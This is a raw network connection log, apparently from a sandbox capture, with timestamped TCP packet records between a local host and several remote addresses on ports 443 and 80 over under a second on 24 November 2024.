Nov 24, 2024 04:23:47.048470020 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.048811913 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.050013065 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.050121069 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.050951958 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.050959110 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.051558971 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.051569939 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.052918911 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.054002047 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.054008007 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.054888010 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.055015087 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.056310892 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.056392908 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.057899952 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.058631897 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.058640957 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.059175014 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.060132027 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.060138941 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.060566902 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.061930895 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.063244104 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.063361883 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.064414978 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.064423084 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.064754963 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.066035032 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.066112995 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.067600965 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.067666054 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.068825006 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.068952084 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.069945097 CET	49984	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:47.070312977 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.071602106 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.071702003 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.072999954 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.073116064 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.074373960 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.074476957 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.075921059 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.077172995 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.077277899 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.078646898 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.079423904 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.079440117 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.094420910 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.108258963 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.189575911 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.189580917 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.199517965 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.199901104 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.200023890 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.201003075 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.201021910 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.201742887 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.201749086 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.202332020 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.203346968 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.203466892 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.204581976 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.204646111 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.205465078 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.205483913 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.205790997 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.207031965 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.208034992 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.208170891 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.209191084 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.209306955 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.210335970 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.210460901 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.211620092 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.212658882 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.212776899 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.213284969 CET	49991	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.213340044 CET	443	49991	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:47.213597059 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.213629961 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:47.213802099 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.213926077 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.214984894 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.216140032 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.216368914 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.217272043 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.217371941 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.217504025 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.217519999 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.217596054 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.217746973 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.217757940 CET	49991	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.217767000 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.217772961 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:47.217793941 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.217886925 CET	49991	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:47.217920065 CET	443	49991	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:47.218426943 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.219569921 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.219628096 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.219635010 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.220742941 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.220801115 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.220818043 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.222023010 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.222098112 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.222115993 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.223208904 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.223269939 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.223287106 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.224275112 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.225440979 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.225522995 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.226653099 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.227669954 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.227741957 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.227850914 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.227876902 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.227914095 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.228827953 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.230031967 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.230145931 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.230154037 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.231213093 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.231877089 CET	80	49984	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:47.232008934 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.232016087 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.232378006 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.233428001 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.233432055 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.233453989 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.233551979 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.233561039 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.235275030 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.235419989 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.235533953 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.235549927 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.237476110 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.237689018 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.237694025 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.237720966 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.237835884 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.238692045 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.238841057 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.238847017 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.239917040 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.239983082 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.239993095 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.242068052 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.242141008 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.242147923 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.243249893 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.243309975 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.243326902 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.244393110 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.244499922 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.244507074 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.245270014 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.245317936 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.245325089 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.247467041 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.247510910 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.247524023 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.248625040 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.248728037 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.249768972 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.249870062 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.250077963 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.250086069 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.251369953 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.251374960 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.252228022 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.252274990 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.252285957 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.253303051 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.253475904 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.253490925 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.254450083 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.254498005 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.254506111 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.255631924 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.255700111 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.255706072 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.257852077 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.257941961 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.257947922 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.258999109 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.259104967 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.259157896 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.259165049 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.259459972 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.260215044 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.318644047 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.318656921 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.318692923 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.318710089 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.318725109 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.319932938 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.319953918 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.320420027 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.332746983 CET	49995	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:47.335896015 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.335905075 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.335925102 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.342993021 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.374618053 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.382746935 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.382760048 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.382833958 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.382882118 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.382920027 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.382952929 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.383160114 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.383213043 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.391520977 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.391962051 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.392786026 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.392807007 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.393119097 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.393235922 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.393241882 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.395401955 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.395447016 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.395452976 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.396462917 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.396508932 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.396514893 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.397604942 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.397654057 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.397660017 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.398752928 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.398871899 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.398878098 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.399528027 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.399538040 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.399563074 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.399681091 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.400057077 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.400101900 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.400108099 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.401225090 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.401273012 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.401278973 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.402340889 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.402544975 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.402550936 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.403495073 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.403548956 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.403554916 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.404757023 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.404812098 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.404818058 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.406856060 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.406975985 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.408057928 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.408148050 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.409013987 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.409024954 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.409127951 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.409286022 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.410495996 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.410545111 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.410551071 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.414336920 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.414458036 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.414565086 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.414642096 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.415028095 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.415143013 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.416157007 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.416479111 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.420008898 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.420114994 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.420206070 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.420281887 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.420371056 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.420756102 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.420789003 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.420944929 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.421024084 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.421034098 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427128077 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427376986 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427463055 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427556038 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427623034 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427709103 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427802086 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427872896 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.427952051 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.430134058 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.430156946 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.432336092 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.432454109 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.432542086 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.432626963 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.432764053 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.432832956 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.432842016 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.432986975 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.433085918 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.433238983 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.433245897 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.433357000 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.434043884 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.435363054 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.435414076 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.435420990 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.437237978 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.437321901 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.438344955 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.438422918 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.439555883 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.439637899 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.440615892 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.441735029 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.441874981 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.442893982 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.442986965 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.443777084 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.443809986 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.443862915 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.444200993 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.445138931 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.445167065 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.446348906 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.446481943 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.446695089 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.446702003 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.447129965 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.447514057 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.448649883 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.448694944 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.448700905 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.449812889 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.449911118 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.450087070 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.450093031 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.450160980 CET	49968	443	192.168.2.5	142.251.40.163
